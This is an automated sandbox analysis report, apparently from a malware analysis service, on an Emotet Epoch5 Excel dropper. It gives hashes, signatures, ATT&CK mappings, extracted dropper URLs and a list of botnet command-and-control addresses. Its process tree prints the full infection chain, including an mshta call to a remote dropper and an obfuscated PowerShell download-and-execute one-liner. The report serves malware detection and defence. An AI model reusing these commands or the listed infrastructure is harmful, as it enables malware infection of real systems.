emotet | 696c4afd329704a3e01313db7cca80039e75b25648e6a6b06b95deffb7eadfa6

Analysis

max time kernel
121s
max time network
151s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 19:10

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General

Target
tmp7dh03ocq.xls
Size 89KB
Sample220128-xvertsbbgj
SHA256 696c4afd329704a3e01313db7cca80039e75b25648e6a6b06b95deffb7eadfa6
MD5 3046a6730203e7d758500cf0c05caa48
SHA1 19a33150f69ac00181e726eecfeea12eeefb81e5
SHA512 085994c3f3650ba1eb36f3aa4050318835718c6d5ffdcafee5f73d285a5ea34ad01430548d49a464c15a38202cd0fb34183608434a15a6830fdfae61d5d3359b
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/ee/ss/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/ee/ss/se.png

Extracted

Family

emotet

Botnet

Epoch5

74.207.230.120:8080
139.196.72.155:8080
37.44.244.177:8080
37.59.209.141:8080
116.124.128.206:8080
217.182.143.207:443
54.37.228.122:443
203.153.216.46:443
168.197.250.14:80
207.148.81.119:8080
195.154.146.35:443
78.46.73.125:443
191.252.103.16:80
210.57.209.142:8080
185.168.130.138:443
142.4.219.173:8080
118.98.72.86:443
78.47.204.80:443
159.69.237.188:443
190.90.233.66:443
104.131.62.48:8080
62.171.178.147:8080
185.148.168.15:8080
54.38.242.185:443
198.199.98.78:8080
194.9.172.107:8080
85.214.67.203:8080
66.42.57.149:443
185.148.168.220:8080
103.41.204.169:8080
128.199.192.135:8080
195.77.239.39:8080
59.148.253.194:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2328	676	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
39	2272	mshta.exe
41	2216	powershell.exe
43	2216	powershell.exe
53	920	rundll32.exe
54	920	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3260	rundll32.exe
1412	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Hccpsnl\pjtruliy.kwa	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2076	2272	WerFault.exe	76

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
676	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2216	powershell.exe
2216	powershell.exe
2216	powershell.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
920	rundll32.exe
920	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	2076	WerFault.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE
676	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 676 wrote to memory of 2328	676	EXCEL.EXE	72
PID 676 wrote to memory of 2328	676	EXCEL.EXE	72
PID 2328 wrote to memory of 3808	2328	cmd.exe	74
PID 2328 wrote to memory of 3808	2328	cmd.exe	74
PID 2328 wrote to memory of 2064	2328	cmd.exe	75
PID 2328 wrote to memory of 2064	2328	cmd.exe	75
PID 2064 wrote to memory of 2272	2064	cmd.exe	76
PID 2064 wrote to memory of 2272	2064	cmd.exe	76
PID 2272 wrote to memory of 2216	2272	mshta.exe	77
PID 2272 wrote to memory of 2216	2272	mshta.exe	77
PID 2216 wrote to memory of 2440	2216	powershell.exe	81
PID 2216 wrote to memory of 2440	2216	powershell.exe	81
PID 2440 wrote to memory of 3260	2440	cmd.exe	82
PID 2440 wrote to memory of 3260	2440	cmd.exe	82
PID 2440 wrote to memory of 3260	2440	cmd.exe	82
PID 3260 wrote to memory of 1412	3260	rundll32.exe	83
PID 3260 wrote to memory of 1412	3260	rundll32.exe	83
PID 3260 wrote to memory of 1412	3260	rundll32.exe	83
PID 1412 wrote to memory of 700	1412	rundll32.exe	86
PID 1412 wrote to memory of 700	1412	rundll32.exe	86
PID 1412 wrote to memory of 700	1412	rundll32.exe	86
PID 700 wrote to memory of 920	700	rundll32.exe	87
PID 700 wrote to memory of 920	700	rundll32.exe	87
PID 700 wrote to memory of 920	700	rundll32.exe	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp7dh03ocq.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:676
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
    3⤵
    PID:3808
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2064
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/ee/ss/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:2272
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2216
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2440
        
        C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        7⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3260
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
        8⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1412
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hccpsnl\pjtruliy.kwa",TjWxAKw
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:700
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hccpsnl\pjtruliy.kwa",DllRegisterServer
        10⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:920
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2272 -s 2244
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/676-129-0x00007FFCAD840000-0x00007FFCAD850000-memory.dmp

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memory/676-119-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Download

memory/676-128-0x00007FFCAD840000-0x00007FFCAD850000-memory.dmp

Download

memory/676-118-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

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memory/676-813-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

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memory/676-812-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

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memory/676-811-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

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memory/676-810-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

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memory/676-115-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

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memory/676-117-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

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memory/676-116-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

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memory/700-613-0x0000000003300000-0x0000000003327000-memory.dmp

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memory/920-617-0x0000000002E00000-0x0000000002E27000-memory.dmp

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memory/1412-616-0x0000000004C90000-0x0000000004CB7000-memory.dmp

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memory/1412-603-0x0000000004410000-0x0000000004437000-memory.dmp

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memory/1412-605-0x00000000044F0000-0x0000000004517000-memory.dmp

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memory/1412-608-0x0000000004920000-0x0000000004947000-memory.dmp

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memory/1412-612-0x0000000004AE0000-0x0000000004B07000-memory.dmp

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memory/2216-313-0x000001DE55590000-0x000001DE55606000-memory.dmp

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memory/2216-367-0x000001DE3C7C0000-0x000001DE3C8F7000-memory.dmp

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memory/2216-302-0x000001DE554D0000-0x000001DE5550C000-memory.dmp

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memory/2216-291-0x000001DE3C7C0000-0x000001DE3C8F7000-memory.dmp

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memory/2216-290-0x000001DE3C7C0000-0x000001DE3C8F7000-memory.dmp

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memory/2216-281-0x000001DE3CDC0000-0x000001DE3CDE2000-memory.dmp

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memory/3260-596-0x0000000000B40000-0x0000000000B67000-memory.dmp

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